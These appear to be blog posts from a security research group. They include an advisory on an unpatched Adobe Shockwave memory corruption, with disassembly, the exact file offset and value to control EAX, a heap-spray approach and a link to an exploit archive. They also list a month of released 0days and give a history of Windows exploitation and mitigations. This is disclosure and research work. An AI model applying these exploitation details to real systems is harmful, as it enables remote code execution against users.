21 Dec
Exploiting Internet Explorer 8 on Windows 7
hello all.
embedded by Embedded Video
good luck
Security Researches , Advisories , Coding , Projects , Reversing , Exploitation , Fuzzing
21 Dec
hello all.
embedded by Embedded Video
good luck
22 Oct
Title : Adobe Shockwave player rcsL chunk memory corruption
Version : Shockwave player 11.5.8.612 Discovery : http://abysssec.com Vendor : http://www.adobe.com Impact : Critical Contact : shahin [at] abysssec.com , info [at] abysssec.com Twitter : @abysssec CVE : ZeroDay Not Patched |
Shockwave Player 11.5.8.612 last version |
Class
1- Memory corruption allow command execute Impact Successfully exploiting this issue allows remote attackers to execute arbitrary code or cause denial-of-service conditions. Remotely Exploitable Yes Locally Exploitable Yes |
Introduction
Shockwave player is a plug in for loading Adobe Director video files in to the browser. Director movies have DIR or compressed format of DCR. DIR file format is based on RIFF based formats. RIFF formats start with a 4byte RIFX identifier and length of the file. And subsequently chunks come together with format of 4byte chunk identifier + size of chunk + data. Some of the chunk identifiers are tSAC, pami, rcsL.
By help of our simple fuzzer we have manipulated a director movie file and found a vulnerability in part of an existing rcsL chunk.
Vulnerability explanation
There is a 4bytes value in the undocumented rcsL chunk in our sample director movie and it may be possible to find similar rcsL chunks in other director samples. The 4bytes so called value can be manipulated to reach the vulnerable part of function 68122990. Here is the function:
.text:68122990 sub_68122990 proc near ; CODE XREF: sub_68112120+1A57p
.text:68122990 ; DATA XREF: sub_68122F30+4AAo .text:68122990 .text:68122990 var_8 = dword ptr -8 .text:68122990 var_4 = dword ptr -4 .text:68122990 arg_0 = dword ptr 4 .text:68122990 arg_4 = dword ptr 8 .text:68122990 .text:68122990 sub esp, 8 .text:68122993 mov eax, [esp+8+arg_4] .text:68122997 push ebx .text:68122998 push ebp .text:68122999 push esi .text:6812299A mov esi, [esp+14h+arg_0] .text:6812299E push edi .text:6812299F push eax .text:681229A0 push esi .text:681229A1 call sub_680FC6D0 .text:681229A6 mov ecx, [esi+18h] .text:681229A9 mov edx, [esi+10h] .text:681229AC mov ebp, [esi+1Ch] .text:681229AF mov ebx, [esi+20h] .text:681229B2 add ecx, 0FFFFFFF8h .text:681229B5 cmp ebp, 3 .text:681229B8 mov [esp+18h+arg_0], eax .text:681229BC mov [esi+18h], ecx .text:681229BF mov eax, [edx] .text:681229C1 mov edx, [eax+ecx] .text:681229C4 lea edi, [esi+1Ch] .text:681229C7 mov [edi], edx .text:681229C9 mov eax, [eax+ecx+4] .text:681229CD mov [edi+4], eax .text:681229D0 mov [esp+18h+var_8], 4 .text:681229D8 mov [esp+18h+var_4], 0 .text:681229E0 jz short loc_681229F6 .text:681229E2 push ebx .text:681229E3 push ebp .text:681229E4 push 0Ch .text:681229E6 push esi .text:681229E7 call sub_680FCFB0 .text:681229EC pop edi .text:681229ED pop esi .text:681229EE pop ebp .text:681229EF pop ebx .text:681229F0 add esp, 8 .text:681229F3 retn 8 .text:681229F6 ; ————————————————————————— .text:681229F6 .text:681229F6 loc_681229F6: ; CODE XREF: sub_68122990+50j .text:681229F6 mov ecx, [ebx] .text:681229F8 mov edx, [ecx] .text:681229FA mov ecx, [esp+18h+arg_0] .text:681229FE lea eax, [esp+18h+var_8] .text:68122A02 push eax .text:68122A03 push ecx .text:68122A04 push ebx .text:68122A05 push esi .text:68122A06 call dword ptr [edx+2Ch] .text:68122A09 mov ecx, [esi+7Ch] .text:68122A0C test ecx, ecx .text:68122A0E jz short loc_68122A22 .text:68122A10 push ebx .text:68122A11 push ebp .text:68122A12 push esi .text:68122A13 call sub_680FC730 .text:68122A18 pop edi .text:68122A19 pop esi .text:68122A1A pop ebp .text:68122A1B pop ebx .text:68122A1C add esp, 8 .text:68122A1F retn 8 .text:68122A22 ; ————————————————————————— .text:68122A22 .text:68122A22 loc_68122A22: ; CODE XREF: sub_68122990+7Ej .text:68122A22 test eax, eax .text:68122A24 jnz loc_68122AAC .text:68122A2A push esi .text:68122A2B call sub_680FD9D0 .text:68122A30 push edi .text:68122A31 push esi .text:68122A32 mov [edi], ebp .text:68122A34 mov [edi+4], ebx .text:68122A37 call sub_680FC7C0 .text:68122A3C push esi .text:68122A3D call sub_680FD9D0 .text:68122A42 mov eax, [esp+18h+arg_4] .text:68122A46 mov edx, [esi+28h] .text:68122A49 mov [esi+0A4h], eax .text:68122A4F mov dword ptr [esi+20h], 80000001h .text:68122A56 mov ecx, [edx] .text:68122A58 lea eax, [eax+eax*2] .text:68122A5B push esi .text:68122A5C call dword ptr [ecx+eax*8+20h] .text:68122A60 mov eax, [esi+7Ch] .text:68122A63 test eax, eax .text:68122A65 jz short loc_68122A85 .text:68122A67 cmp eax, 4 .text:68122A6A jnz short loc_68122ACE .text:68122A6C mov edx, [esp+18h+arg_0] .text:68122A70 push edx .text:68122A71 push 8 .text:68122A73 push 37h .text:68122A75 push esi .text:68122A76 call sub_680FD040 .text:68122A7B pop edi .text:68122A7C pop esi .text:68122A7D pop ebp .text:68122A7E pop ebx .text:68122A7F add esp, 8 .text:68122A82 retn 8 .text:68122A85 ; ————————————————————————— .text:68122A85 .text:68122A85 loc_68122A85: ; CODE XREF: sub_68122990+D5j .text:68122A85 mov eax, [edi] .text:68122A87 mov ecx, [edi+4] .text:68122A8A mov edx, [esi+10h] .text:68122A8D mov [esp+18h+var_8], eax .text:68122A91 mov eax, [esi+18h] .text:68122A94 add eax, 0FFFFFFF8h .text:68122A97 mov [esp+18h+var_4], ecx .text:68122A9B mov [esi+18h], eax .text:68122A9E mov ecx, [edx] .text:68122AA0 mov edx, [ecx+eax] .text:68122AA3 mov [edi], edx .text:68122AA5 mov eax, [ecx+eax+4] .text:68122AA9 mov [edi+4], eax .text:68122AAC .text:68122AAC loc_68122AAC: ; CODE XREF: sub_68122990+94j .text:68122AAC push ebx .text:68122AAD push ebp .text:68122AAE push esi .text:68122AAF call sub_680FC730 .text:68122AB4 mov eax, [esi+7Ch] .text:68122AB7 test eax, eax .text:68122AB9 jnz short loc_68122ACE .text:68122ABB push esi .text:68122ABC call sub_680FD9D0 .text:68122AC1 mov ecx, [esp+18h+var_8] .text:68122AC5 mov edx, [esp+18h+var_4] .text:68122AC9 mov [edi], ecx .text:68122ACB mov [edi+4], edx .text:68122ACE .text:68122ACE loc_68122ACE: ; CODE XREF: sub_68122990+DAj .text:68122ACE ; sub_68122990+129j .text:68122ACE pop edi .text:68122ACF pop esi .text:68122AD0 pop ebp .text:68122AD1 pop ebx .text:68122AD2 add esp, 8 .text:68122AD5 retn 8 .text:68122AD5 sub_68122990 endp |
In the above function we have direct control on the second argument of the function. By manipulating the argument in rcsL chunk we reach to an indirect call that is based on our arguments:
.text:68122A42 mov eax, [esp+18h+arg_4]
.text:68122A46 mov edx, [esi+28h] .text:68122A49 mov [esi+0A4h], eax .text:68122A4F mov dword ptr [esi+20h], 80000001h .text:68122A56 mov ecx, [edx] .text:68122A58 lea eax, [eax+eax*2] .text:68122A5B push esi .text:68122A5C call dword ptr [ecx+eax*8+20h] |
The above code is our vulnerable part. EAX register is set with second argument that we have control on it and ESI is first argument of the function and is a pointer to a dynamic allocated structure in heap. Value of offset 28h of the structure that is unknown is set in ECX register and finally an indirect call to the ‘ECX+EAX*24+20h’ is done. Because result of EAX*24 is a large value and we have complete control on EAX register we can almost control first byte of our indirect call pointer without the need of ECX register.
For exploitation purpose because we don’t have a fixed address in our call we cannot control the execution flow to an exact value but we can jump to a specific range because we have control on first bytes of the pointer of indirect call. So here by abusing javascript we can use old-school heap spray technic to fill memory with nops+shellcode and call to this range.
To control the 4 bytes EAX register in our exploit we manipulated 4bytes at offset 4C4B of the file to value FFF00267.
An important hint here is that because we call the indirect pointer the EIP is set to nops itself. As you know an EIP of 90909090 is invalid. But we can use other opcodes as nopslides that doesn’t have any effect. In our test sample we used 0a0a0a0a as both base range of heap spray and nopslides because 0a0a opcode is an OR instruction on some unimportant registers.
The sample + exploit are tested on patched windows XP service pack 3.
here is exploit + binary analysis link:
http://abysssec.com/files/Adobe_Shockwave_Director_rcsL_Chunk_Memory_Corruption.zip
Proof Video : Here
PS 1 : this vulnerability is not patched bug released by ZDI http://www.zerodayinitiative.com/advisories/ZDI-10-162/
PS 2 : it’s possible to exploit this vulnerability on modern windows like Vista/7 too and it’s up to readers …
related links:
http://www.vupen.com/english/advisories/2010/2752
http://secunia.com/advisories/41932
CVE-2010-3653
http://www.adobe.com/products/player_census/shockwaveplayer/
http://www.adobe.com/support/security/advisories/apsa10-04.html
Happy Hacking !
1 Sep
Yes ! finally MOAUB (Month of Abysssec Undisclosed Bugs) started and finished as well.
Good Or Bad we released lots of 0days and binary analyses during a month (September) and you can use these info for owning websites UN-patched clients or writing more secure applications .
here is summary:
Day1:
Binary Analysis:
MOAUB #1 – Adobe Acrobat Reader and Flash Player “newclass” invalid pointer
MOAUB #1 – Adobe Acrobat Reader and Flash Player “newclass” invalid pointer – Binary Analysis
0day:
MOAUB #1 – Cpanel PHP Restriction Bypass Vulnerability 0day
MOAUB #1 – Cpanel PHP Restriction Bypass Vulnerability 0day
———————————————————————————–
Day2:
Binary Analysis:
MOAUB #2 – Apple QuickTime FlashPix NumberOfTiles Remote Code Execution Vulnerability
MOAUB #2 – Apple QuickTime FlashPix NumberOfTiles Vulnerability – Binary Analysis
0day:
MOAUB #2 – Rainbowportal Multiple Remote Vulnerabilities
MOAUB #2 – Rainbowportal Multiple Remote Vulnerabilities – 0day
———————————————————————————–
Day3:
Binary Analysis:
MOAUB #3 – Trend Micro Internet Security Pro 2010 ActiveX extSetOwner Remote Code Execution
MOAUB #3 – Trend Micro Internet Security Pro 2010 ActiveX extSetOwner – Binary Analysis
0day:
MOAUB #3 – Visinia 1.3 Multiple Vulnerabilities
MOAUB #3 – Visinia CMS Multiple Vulnerabilities – 0day
———————————————————————————–
Day4:
Binary Analysis:
MOAUB #4 – Movie Maker Remote Code Execution (MS10-016)
MOAUB #4 – Movie Maker Remote Code Execution (MS10-016) – Binary Analysis
0day:
MOAUB #4 – syndeocms 2.8.02 Multiple Vulnerabilities
MOAUB #4 – Syndeocms 2.8.02 Multiple Vulnerabilities – 0day
———————————————————————————–
Day5:
Binary Analysis:
MOAUB #5 – Microsoft MPEG Layer-3 Remote Command Execution Exploit
MOAUB #5 – Microsoft MPEG Layer-3 Remote Command Execution – Binary Analysis
0day:
MOAUB #5 – IfNuke Multiple Remote Vulnerabilities 0day
MOAUB #5 – IfNuke Multiple Remote Vulnerabilities 0day
———————————————————————————–
Day6:
Binary Analysis:
MOAUB #6 – HP OpenView NNM webappmon.exe execvp_nc Remote Code Execution
MOAUB #6 – HP OpenView NNM webappmon execvp_nc Remote Code Execution – Binary Analysis
0day:
MOAUB #6 – InterPhoto Gallery Multiple Remote Vulnerabilities
MOAUB #6 – InterPhoto Gallery Multiple Remote Vulnerabilities – 0day
———————————————————————————–
Day7:
Binary Analysis:
MOAUB #7 – Novell Netware NWFTPD RMD/RNFR/DELE Argument Parsing Buffer overflow
MOAUB #7 – Novell Netware NWFTPD RMD/RNFR/DELE Argument Parsing Buffer overflow
0day:
MOAUB #7 – DynPage <= v1.0 Multiple Remote Vulnerabilities – 0day
MOAUB #7 – DynPage <= v1.0 Multiple Remote Vulnerabilities – 0day
———————————————————————————–
Day8:
Binary Analysis:
MOAUB #8 – Microsoft Office Visio DXF File Stack based Overflow
MOAUB #8 – Microsoft Office Visio DXF File Stack based Overflow – Binary Analysis
0day:
MOAUB #8 – Sirang Web-Based D-Control Multiple Remote Vulnerabilities
MOAUB #8 – Sirang Web-Based D-Control Multiple Remote Vulnerabilities – 0 day
———————————————————————————–
Day9:
Binary Analysis:
MOAUB #9 – Mozilla Firefox XSLT Sort Remote Code Execution Vulnerability
MOAUB #9 – Mozilla Firefox XSLT Sort Remote Code Execution Vulnerability
0day:
FestOS CMS 2.3b Multiple Remote Vulnerabilities
MOAUB #9 – FestOS CMS 2.3b Multiple Remote Vulnerabilities
———————————————————————————–
Day10:
Binary Analysis:
MOAUB #10 – Excel RTD Memory Corruption
MOAUB #10 – Excel RTD Memory Corruption
0day:
MOAUB #10 – aradBlog Multiple Remote Vulnerabilities
MOAUB #10 – aradBlog Multiple Remote Vulnerabilities
———————————————————————————–
Day11:
Binary Analysis:
MOAUB #11 – Microsoft Office Word 2007 sprmCMajority Buffer Overflow
MOAUB #11 – Microsoft Office Word 2007 sprmCMajority Buffer Overflow
0day:
MOAUB #11 – ASP Nuke SQL Injection Vulnerability
MOAUB #11 – ASP Nuke Sql Injection Vulnerability
———————————————————————————–
Day12:
Binary Analysis:
MOAUB #12 – Adobe Acrobat and Reader “pushstring” Memory Corruption
MOAUB #12 – Adobe Acrobat and Reader “pushstring” Memory Corruption
0day:
MOAUB #12 – eshtery CMS SQL Injection Vulnerability
MOAUB #12 – eshtery CMS SQL Injection Vulnerability
———————————————————————————–
Day13:
Binary Analysis:
MOAUB #13 – RealPlayer FLV Parsing Integer Overflow
MOAUB #13 – RealPlayer FLV Parsing Integer Overflow
0day:
MOAUB #13 – Luftguitar CMS Vulnerability: Upload Arbitrary File
MOAUB #13 – Luftguitar CMS Vulnerability: Upload Arbitrary File
———————————————————————————–
Day14:
Binary Analysis:
MOAUB #14 – Novell iPrint Client Browser Plugin ExecuteRequest debug Parameter Stack Overflow
MOAUB #14 – Novell iPrint Client Browser Plugin ExecuteRequest debug Stack Overflow
0day:
MOAUB #14 – FreeDiscussionForums v1.0 Multiple Remote Vulnerabilities
MOAUB #14 – FreeDiscussionForums v1.0 Multiple Remote Vulnerabilities
———————————————————————————–
Day15:
Binary Analysis:
MOAUB #15 – Ipswitch Imail Server List Mailer Reply-To Address Memory Corruption
MOAUB #15 – Ipswitch Imail Server List Mailer Reply-To Address Memory Corruption
0day:
MOAUB #15 – PHP MicroCMS 1.0.1 Multiple Remote Vulnerabilities
MOAUB #15 – PHP MicroCMS 1.0.1 Multiple Remote Vulnerabilities
———————————————————————————–
Day16:
Binary Analysis:
MOAUB #16 – Microsoft Excel HFPicture Record Parsing Remote Code Execution Vulnerability
MOAUB #16 – Microsoft Excel HFPicture Record Parsing Remote Code Execution Vulnerability
0day:
MOAUB #16 – mojoportal Multiple Remote Vulnerabilities
MOAUB #16 – mojoportal Multiple Remote Vulnerabilities
———————————————————————————–
Day17:
Binary Analysis:
MOAUB #17 – Firefox Plugin Parameter EnsureCachedAttrParamArrays Remote Code Execution
MOAUB #17 – Firefox Plugin Parameter EnsureCachedAttrParamArrays Remote Code Execution
0day:
MOAUB #17 – phpmyfamily Multiple Remote Vulnerabilities
MOAUB #17 – phpmyfamily Multiple Remote Vulnerabilities
———————————————————————————–
Day18:
Binary Analysis:
MOAUB #18 – Apple QuickTime FLI LinePacket Remote Code Execution Vulnerability
MOAUB #18 – Apple QuickTime FLI LinePacket Remote Code Execution Vulnerability
0day:
MOAUB #18 – CMSimple XSRF Vulnerability
MOAUB #18- CMSimple XSRF Vulnerability
———————————————————————————–
Day19:
Binary Analysis:
MOAUB #19 – Novell iPrint Client Browser Plugin call-back-url Stack Overflow
MOAUB #19 – Novell iPrint Client Browser Plugin call-back-url Stack Overflow
0day:
MOAUB #19 – JMD-CMS Multiple Remote Vulnerabilities
MOAUB #19 – JMD-CMS Multiple Remote Vulnerabilities
———————————————————————————–
Day20:
Binary Analysis:
MOAUB #20 – Java CMM readMabCurveData Stack Overflow
MOAUB #20 – Java CMM readMabCurveData Stack Overflow
0day:
MOAUB #20 – VWD-CMS CSRF Vulnerability
MOAUB #20 – VWD-CMS CSRF Vulnerability
———————————————————————————–
Day21:
Binary Analysis:
MOAUB #21 – Microsoft Excel WOPT Record Parsing Heap Memory Corruption
MOAUB #21 – Microsoft Excel WOPT Record Parsing Heap Memory Corruption
0day:
MOAUB #21 – Personal.Net Portal Multiple Vulnerabilities
MOAUB #21 – Personal.Net Portal Multiple Vulnerabilities
———————————————————————————–
Day22:
Binary Analysis:
MOAUB #22 – Adobe Shockwave Director tSAC Chunk Memory Corruption
MOAUB #22 – Adobe Shockwave Director tSAC Chunk Memory Corruption
0day:
MOAUB #22 – gausCMS Multiple Vulnerabilities
MOAUB #22 – gausCMS Multiple Vulnerabilities
———————————————————————————–
Day23:
Binary Analysis:
MOAUB #23 – Adobe Acrobat Reader and Flash ‘newfunction’ Remote Code Execution Vulnerability
MOAUB #23 – Adobe Acrobat Reader and Flash ‘newfunction’ Remote Code Execution Vulnerability
0day:
MOAUB #23 – Microsoft Excel HFPicture Record Parsing Memory Corruption (0day)
MOAUB #23 – Microsoft Excel HFPicture Record Parsing Memory Corruption (0day)
———————————————————————————–
Day24:
Binary Analysis:
MOAUB #24 – Microsoft Excel OBJ Record Stack Overflow
MOAUB #24 – Microsoft Excel OBJ Record Stack Overflow
0day:
MOAUB #24 – Microsoft MPEG Layer-3 Audio Decoder Division By Zero
MOAUB #24 – Microsoft MPEG Layer-3 Audio Decoder Division By Zero
———————————————————————————–
Day25:
Binary Analysis:
MOAUB #25 – Mozilla Firefox CSS font-face Remote Code Execution Vulnerability
MOAUB #25 – Mozilla Firefox CSS font-face Remote Code Execution Vulnerability
0day:
MOAUB #25 – VisualSite CMS v1.3 Multiple Vulnerabilities
MOAUB #25 – VisualSite CMS v1.3 Multiple Vulnerabilities
———————————————————————————–
Day26:
Binary Analysis:
MOAUB #26 – Microsoft Cinepak Codec CVDecompress Heap Overflow
MOAUB #26 – Microsoft Cinepak Codec CVDecompress Heap Overflow
0day:
MOAUB #26 – Zenphoto Config Update and Command Execute Vulnerability
MOAUB #26 – Zenphoto Config Update and Command Execute Vulnerability
———————————————————————————–
Day27:
Binary Analysis:
MOAUB #27 – Microsoft Internet Explorer MSHTML Findtext Processing Issue
MOAUB #27 – Microsoft Internet Explorer MSHTML Findtext Processing Issue
0day:
MOAUB #27 – ndCMS Sql Injection Vulnerability
MOAUB #27 – ndCMS Sql Injection Vulnerability
———————————————————————————–
Day28:
0day:
MOAUB #28 – JE CMS 1.0.0 Bypass Authentication by SQL Injection Vulnerability
MOAUB #28 – JE CMS 1.0.0 Bypass Authentication by SQL Injection Vulnerability
0day:
MOAUB #28 – AtomatiCMS Upload Arbitrary File Vulnerability
MOAUB #28 – AtomatiCMS Upload Arbitrary File Vulnerability
———————————————————————————–
Day29:
Binary Analysis:
MOAUB #29 – Microsoft Excel SxView Record Parsing Heap Memory Corruption
MOAUB #29 – Microsoft Excel SxView Record Parsing Heap Memory Corruption
Day30:
Binary Analysis:
MOAUB #30 – Microsoft Unicode Scripts Processor Remote Code Execution
MOAUB #30 – Microsoft Unicode Scripts Processor Remote Code Execution
0day:
MOAUB #30 – ASPMass Shopping Cart Vulnerability File Upload CSRF
MOAUB #30 – ASPMass Shopping Cart Vulnerability File Upload CSRF
———————————————————————————–
Press :
———————————————————————————–
PS : during these project and maybe we made some technical and non-technical mistakes due to complexly and compaction of this work and we hope we can fix some of them.
at end we are happy with result and your kind feedback.
for sure we will have really more interesting projects soon as soon possible and we think you will like them as well .
please follow me on twitter with @abysssec for other news projects and stay tunned for more projects .
as always finally if you have any question feel free to contact :
shahin [at] abysssec.com
info [at] abysssec.com
17 Aug
hello to all after a while we have big surprise for you .
We are about to unleash our Month Of Abysssec Undisclosed Bugs on exploit-db. Starting on the 1st of September, we will release a collection of 0days, web application vulnerabilities, and detailed binary analysis (and pocs) for recently released advisories by vendors such as Microsoft, Mozilla, Sun, Apple, Adobe, HP, Novel, etc. The 0day collection includes PoCs and Exploits for Microsoft Excel, Internet Explorer,Microsoft codecs, Cpanel and others. The MOAUB will be hosted on the Exploit Database, and will be updated on a daily basis. Get your hard-hats on, your VM’s and debugging tools organized – it’s gonna be a an intensive ride!
this is link on exploit-db :
http://www.exploit-db.com/moaub-0days-binary-analysis-exploit-pocs/
Follow Abysssec twitter to keep updated!
stay tunned .
8 May
hi all
this is v0.1 of this post and in this post i’m going to have a review and brief history on exploitation with focus on windows .
this post will be done III part :
Starring : Robert morris , Aleph_one , Solar designer , Matt Conover , Casper Dik
it’s been long time after :
morris worm in 1988 (first known computer worm that used a buffer overflow to attack)
aleph one wrote Smashing The Stack For Fun Profit in phrack 49 in ~1996
so he start taking about detailed strcpy exploitation :
Matt Conover wrote first detailed heap overflow tutorial in 1999 heap tut
and solar designer wrote first generic heap exploit on windows netscape exploit
==============================================
at that times because of really low OS memory protections and also low application specific protections (can also called CPU and compilers problem !) , a poor input validation and an insecure memory copy was enough to corrupting memory (mostly in stack area) and overwriting a function return address and getting control of instruction pointer (IP , EIP) and then by storing malicious code (called shellcode) and using a pointer (mostly stack pointer (ESP)) execution flow can be change and pointer to attacker malicious (or educational ;) ) code.
so OS developers and security guys had to think about memory protections and casper dik in nov 1996 wrote a kernel run-time patch to implement non-executable-stacks for Solaris 2.4 to 2.5.1 http://seclists.org/bugtraq/1996/Nov/57
and later solar designer released same thing to remove executable permission for stack on the linux here
and around ~2000 solar designer made return-to-libc attacks to return in executable page and functions in memory for bypassing non-executable memory. the basic idea was after controlling executing flow return to some function like system() and executing a single command or …. but there was a problem and the attacker was limit in payload selection and can’t use advanced payloads .
so around ~2000 we had :
=========================================
Starring : Alexander Sotirov , Mark Dowd , John McDonald, Chris Valasek , Chris Anley , Brett Moore , David litchfield , Nicolas Waisman , Dave Aitel , Halvar Flake , Cesar Cerrudo , Matt Miller , ken johnson , S.K Chong , Dionysus Blazakis , hd moore , FlashSky , Ruben Santamarta .
welcome to windows world !
i wanna start from windows 2000 final version of NT family because i think older windows are not interesting enough to talk about .
exploit developers golden age : microsoft was is supporting and making money from windows 2k and unfortunately forgot protect you from buffer overflow attacks . so old and classic attacks works like a charm and just maybe in some case we saw very complex and smart vulnerabilities but exploitation by itself was not that hard (maybe just some application specific filters / protections )
so because of that poor protection we saw great worms like :
blaster worm one of historic worms ever that used a RPC vuln for attack and fixed in http://www.microsoft.com/technet/security/bulletin/MS03-026.mspx
and maybe you can remember : “billy gates why do you make this possible ? Stop making money and fix your software!! “
and this cool picture :
slammer worm a great and fast worm that used an SQL Server buffer overflow for attack. that fixed after 6 month !!! in :
http://www.microsoft.com/technet/security/bulletin/MS02-039.mspx
sasser worm another great worm that used lsass remote overflow vulnerability and fixed in: http://www.microsoft.com/technet/security/bulletin/MS04-011.mspx
but there is a question these worms targeted windows XP and 2003 as well too ? yes !
because microsoft did that great job in windows XP service pack 0 and 1 as well as windows 2003 service pack 0.
also we had lots of great and reliable exploits like :
DCOM RCP Exploit here by flashsky (xfocus guy)
MS Windows (RPC DCOM) Remote Exploit here by hd moore
Great Kill Bill exploit here (targeting ANS.1) by Alexander Sotirov
MS Windows Plug-and-Play here by sl0ppy and houseofdabus and others .
also some GUI tools for easy exploitation for those even don’t know how they can compile and run an exploit like : RPC GUI v2 – r3L4x.exe
but why we had lots of juicy and clicky – clicky exploits ? there is two main reasons :
1- poor generic OS / application layer memory protection
2- cool generic public memory exploitation related researches
lots of great and detailed papers in this area i just wanna link a few of them :
1- Win32 Buffer Overflows (Location, Exploitation and Prevention) by dark spyrit in 1999
http://www.phrack.com/issues.html?issue=55&id=15#article
2- S.K Chong Win32 Stack Based Buffer Overflow Walkthrough in july 2002
http://www.scan-associates.net/papers/win32_bo_walkthrough.txt
3- Nish Bhalla’s series on Writing Stack Based Overflows on Windows in 2005
http://www.packetstormsecurity.org/papers/win/
if i want to have brief description of them they all are talking about finding a reliable return address in a reliable Dynamic Linked Library (MOST in OS DLL’s kernel32.dll ntdll.dll shell32.dll user32.dll and … ) and then after overwriting a function return address by sending big value to not good checked input variable and getting program execution flow redirect that flow to address in DLL that address is mostly JMP / call / PUSH ESP (stack pointer) or EBP (base pointer) because most of time in classic stack overflow attacker store her / his malicious code in the stack and a JMP / CALL / PUSH ESP RET will lead his / her to jump to start of shellcode .thats all!
1 – Third Generation Exploitation smashing heap on 2k by halvar Flake in 2002
http://www.blackhat.com/presentations/win-usa-02/halvarflake-winsec02.ppt
2- Exploiting the MSRPC Heap Overflow two part by Dave Aitel (MS03-026) sep 2003
http://freeworld.thc.org/root/docs/exploit_writing/msrpcheap.pdf
http://freeworld.thc.org/root/docs/exploit_writing/msrpcheap2.pdf
3- david litchfield did a great detailed penetration in black hat 2004
https://www.blackhat.com/presentations/win-usa-04/bh-win-04-litchfield/bh-win-04-litchfield.ppt
if i want to have brief description of them they all are talking about exploiting unlink macro and using write4 (where + what) and actually ability of writing 4byte (32bit ) of selected address in memory by using specific function pointers like :
…..
because of Inexorability of this type of attacks i want to share all of most notable history in this area here : (note that i will back to heap and stack with protections after in it)
=================
First noticeable whitepaper that stated how to attack kernel based vulns on
windows was done by a Polish group called “sec-labs” around 2003 .
http://www.derkeiler.com/Mailing-Lists/Full-Disclosure/2003-08/0101.html
sec-lab old whitepaper : http://www.artofhacking.com/tucops/hack/windows/live/aoh_win32dcv.htm
sec-lab old exploit : http://www.securityfocus.com/bid/8329/info
(thanks Piotr Bania !)
1- Windows Local Kernel Exploitation by S.K Chong in 2004 (based on sec-lab research)
http://www.packetstormsecurity.org/hitb04/hitb04-sk-chong.pdf
http://www.scan-associates.net/papers/navx.c
2-Windows interrupt context kernel overflow exploit BY FLASHSKY in 2004
3- How to exploit Windows kernel memory pool in 2005 by SoBeIt
http://packetstormsecurity.nl/Xcon2005/Xcon2005_SoBeIt.pdf
4- in 2005 eeye security published great paper about exploiting remote kernel overflows in windows
http://research.eeye.com/html/papers/download/StepIntoTheRing.pdf
5- later in 2005 matt miller published great article called Kernel-mode Payloads on Windows in uninformed
http://www.uninformed.org/?v=3&a=4&t=pdf
6- in 2006 johny cache hd moore and matt miller released Exploiting 802.11 Wireless Driver Vulnerabilities on Windows
http://www.uninformed.org/?v=6&a=2&t=pdf
7- in 2007 Jonathan Lindsay published and did a presentation in BH US 2007 called Attacking the Windows Kernel
http://www.blackhat.com/presentations/bh-usa-07/Lindsay/Whitepaper/bh-usa-07-lindsay-WP.pdf
8- same in BH US 2007 Yuriy Bulygin did a peresentiation called Remote and Local Exploitation of Network Drivers
http://www.blackhat.com/presentations/bh-usa-07/Bulygin/Presentation/bh-usa-07-bulygin.pdf
9- in 2007 also Ruben Santamarta wrote Exploiting Comon Flaws In Drivers
http://www.reversemode.com/index.php?option=com_content&task=view&id=38&Itemid=1
10- in 2008 Justin Seitz wrote a paper and called I2OMGMT Driver Impersonation Attack
http://www.immunityinc.com/downloads/DriverImpersonationAttack_i2omgmt.pdf
in that paper Justin talked about new type of kernel attacks and about i2OMGMT bug that founded by ruben.
11- later in 2008 Kostya Kortchinsky did a presentation called Real World Kernel Pool Exploitation
http://sebug.net/paper/Meeting-Documents/syscanhk/KernelPool.pdf
in that presentation kostya talked about how he wrote exploit for ms08-001 (Microsoft marked it as not-exploitable !)
12- later in 2008 Cesar Cerrudo wrote Token Kidnapping and a super reliable exploit for windows 2k3 and 2k8
13- again later in 2008 mxtone wrote a paper called Analyzing local privilege escalations in win32k
http://www.uninformed.org/?v=10&a=2&t=pdf
in that paper he analyzed vulnerabilities and exploitation vector of win32k driver .
14- in ucon 2009 Stephen A. Ridley did a presentation called Intro to Windows Kernel Security Development
download it here
15- Tavis Ormandy, Julien Tinnes and great presentation called There’s a party at ring0 and you’re invited
http://www.cr0.org/paper/to-jt-party-at-ring0.pdf
16- in January 2010 Matthew “j00ru” Jurczyk and Gynvael Coldwind, Hispasec wrote a detailed paper called GDT and LDT in Windows kernel vulnerability exploitation.
http://vexillium.org/dl.php?call_gate_exploitation.pdf
in that paper they describes some possible ways of exploiting kernel-mode write-what-where vulnerabilities in a stable manner
17- later they did a presentation called Case Study of Recent Windows Vulnerabilities in HITB 2010
OK so now we are going back to user-land this time with memory protections !
due to lots of generic exploitation methods as well as lots of worms ! Microsoft decided to use of memory protections in hardware and software layer. so from windows XP SP2 (Windows XP Tablet PC Edition 2005) , Windows Server 2003 Service Pack 1 (OS level) and from visual studio 2003 (compiler level) added lots of memory protections functionality.
here i’m going to have brief history of them and then i will introduce great researchers and their research against memory protections .
1- Data Execution Prevention (DEP)
DEP is a security feature included in modern Microsoft Windows operating systems that is intended to prevent an application or service from executing code from a non-executable memory region. This helps prevent certain exploits that store code via a buffer overflow, for example.
hardware-enforced DEP for CPUs that can mark memory pages as non-executable, and software-enforced DEP with a limited prevention for CPUs that do not have hardware support.
in windows XP SP2 and windows 2003 sp1 and sp2 you can get access on DEP setting by editing boot.ini in noexecute section.
there is four options :
1- OptIn : DEP only will work for all of windows services as well as necessary programs.
2- OptOut: DEP will work for all of windows services as well as all of 3d-party installed program but you can add some process as exception from controll panel.
3- AlwaysOn : fully protected by DEP no exception is acceptable.
4- AlwaysOff : Go to hell DEP , turns DEP off .
most of CPUs those are made after 2004 (AMD , Intel) can support hardware DEP.
read more on DEP : http://support.microsoft.com/kb/875352
/GS (Buffer Security Check)
GS (a.k.a stack cookie) is a compiler option that added from visual studio 2003 and will detects some buffer overruns that overwrite the return address, a common technique for exploiting code that does not enforce buffer size restrictions. This is achieved by injecting security checks into the compiled code.
so by using /GS flag compiler will add __security_init_cookie() function to your program and each time you want to overwrite a function return address you actually overwrite cookie as well and so comparison of cookie will fall so process will be terminate and you can’t use your return address.
for more detail read : http://msdn.microsoft.com/en-us/library/Aa290051
/SAFESEH
a linked option also system functionality added in visual studio 2005. when a program is linked with /SAFESEH in header of file will be contain of a acceptable Exception Handler Table. so each time an exception occurs and attacker wants overwrite a record from exception handler the ntdll dispatcher will understand this and will terminate program execution.
for more detail read : http://msdn.microsoft.com/en-us/library/9a89h429(VS.80).aspx
ASLR
for more detail read : here
SEHOP
used in most modern windows operation systems like 2008 and 7 . the idea beyond this new mitigation comes from matt miller article called Preventing the Exploitation of SEH Overwrites. for detailed explanation of this protection just read flowing link :
http://blogs.technet.com/srd/archive/2009/02/02/preventing-the-exploitation-of-seh-overwrites-with-sehop.aspx
Heap Protection
